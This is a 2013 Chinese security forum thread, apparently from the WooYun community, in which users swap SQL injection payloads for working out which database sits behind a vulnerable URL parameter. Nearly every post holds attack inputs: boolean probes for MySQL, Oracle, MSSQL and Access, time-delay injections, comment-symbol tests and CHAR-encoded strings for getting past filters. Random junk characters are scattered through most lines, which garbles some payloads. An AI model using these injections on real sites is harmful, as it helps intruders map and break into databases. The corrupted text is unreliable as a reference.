一个注射点如何最快速确认是什么类型数据库
$ `& N) X2 U: P% K/ F% B$ Qxsser (十根阳具有长短!!) | 2013-02-05 12:36" [" R2 G9 m {& V6 Z1 K
假设这么一个注射点:
* V+ H$ g; t% A0 g X0 X# |show.html?id=2, e/ F! l2 D3 B( B
mysql:id=2 and version()>03 |4 Z2 X/ X1 \8 c' D$ H# T. W
oracle:id=2 and '1'||'1'='11! r. r. o2 q) o" {* d
其他的欢迎补充! q/ J, f% k% P6 V" d
1#$ y8 ^$ B0 j( t
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
- o+ H" q) X. X4 c# `9 m) SAccess: y' A/ U; x9 @
aNd aSc(cHr(97))=97
* \2 u. M% V# G% w8 q0 zand exists(select id from MSysAccessObjects)7 `+ z# \( O! i3 O6 R
SQL Server:6 @; v& L6 A O* d) B
and exists(select id from sysobjects)9 T$ [8 B+ N6 Y8 I
and length(user)>0! x, K/ Z; N8 \) S# \# i
MySQL:( X6 t# X+ ], a
and length(user())>02 j; z( R/ `7 K R: ~8 U
2#
2 G9 `4 _, V, v! F: K- t. c5 L: n% Nxsser (十根阳具有长短!!) | 2013-02-05 12:48
* B6 X8 u7 Y% i* k7 Y0 F/ I g2 _@upload 如果这些都不是呢…! y; a& F7 b$ j
3#, F$ y+ m1 k4 j- Y' ^
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03' ?' a+ Y% T( n( n- v
@xsser 不快速的,延时注入
& K. R4 X, E5 R7 O7 V! |不知道这样写对不对
! s) k6 _0 y0 [/ n. c5 D. _" lmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
$ y+ W5 W5 ]/ V1 |- O6 xmysql:id=2 and select benchmark(1e8,current_date());( s! N7 n1 W6 T( B* ^+ {
4#
' A$ Z* i5 `& ]( jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
5 Z2 g- l C/ j" W最快的貌似是看报错信息
$ E9 n+ ~! Q$ |/ i# f! Coracle error
: R! s$ {: q5 u2 X5 p2 xmssql error" j/ [/ W4 R3 u) U8 o0 Q5 ^3 m
mysql error4 a6 _& U$ k$ B: |
5#
, K1 I; r9 c9 G2 q4 v; eNimda (你们都是坏银~) | 2013-02-05 13:14) `. [5 N( g X3 p7 d
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)5 h) Y. D5 ~% G, p9 F( w
6#* J# O) Z3 A4 I- h& I& W
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
- C. ^1 L9 j7 d1 P" k! [% W. E“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
: ], R/ P. d) O* e! f$ c- e$ Z“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:- d4 L+ f! J( I, _. @! b( S
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。) S; d9 I0 c- U6 A# a }4 w
7#
. [; s! J# i" y" K_Evil (HackEnd) | 2013-02-05 13:33
. @$ a* x, \& G& `1 gPostgreSQL' p9 o. b$ D R" ] {
8#
9 ]7 t# T) B# {- ]/ r+ Y$ q2 Bupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
' X0 b! v/ _% w6 l0 v" \: x) f5 O切换编码 and 1=13 N, H% i3 u$ f
oracle:
! C s% t# S8 Y) ?% SCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)0 V& p9 b N, L
mssql:5 E/ @% l, V0 f( a; T2 g. h8 @
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
8 o: h: D+ @. i: d6 Ymysql:+ J3 g i5 Z8 B
CHAR(97, 110, 100, 32, 49, 61, 49)( j* a$ H3 D% h
9#/ b% [# y k& b. l. o5 t* q; r
xsser (十根阳具有长短!!) | 2013-02-05 14:31) a, d, ?; H- G! W3 d4 Q. J
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?! H% {0 z# J. J2 ]2 z
10#
7 x/ c ?6 z' J3 z- h. ]+ [upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
- s1 v% b( b7 q3 i; y1 O- n/ B6 K@xsser 是奇葩数据库类型的么?
8 w: E2 }" A7 x5 N( l根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
: D" l& \( O7 i3 D7 ?1.是否可以使用特定的函数来判断,该数据库特有的; ?3 t( y% E) j% ]1 H4 F
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等' `3 c9 E' n c( ~- t
3.是否可以编码查询 d0 S; J7 K2 \$ `- ^
4.是否显可以利用错信息
7 X. d! t- H, H* o' |5.是否存在数据库某些特性辅助判断! T. d. h3 o. q2 Z
个人见解
2 L& |5 h# A; p& _) S11#$ R. v: |7 q4 k% U3 W. E9 S
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
2 m. {0 L4 C; e# y2 e, G已收藏,mssql可以直接看到错误提示的吧~. c; T2 [. B: F: i; J
12#
+ r- M5 }: u8 {' [$ d: b3 e( F: Y3 }Passer_by | 2013-02-05 15:09
# T! w# I% e8 t( t* E+ t2 N* c曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。6 k1 ?( A( f7 }' _4 S3 F
from:http://zone.wooyun.org/content/260 |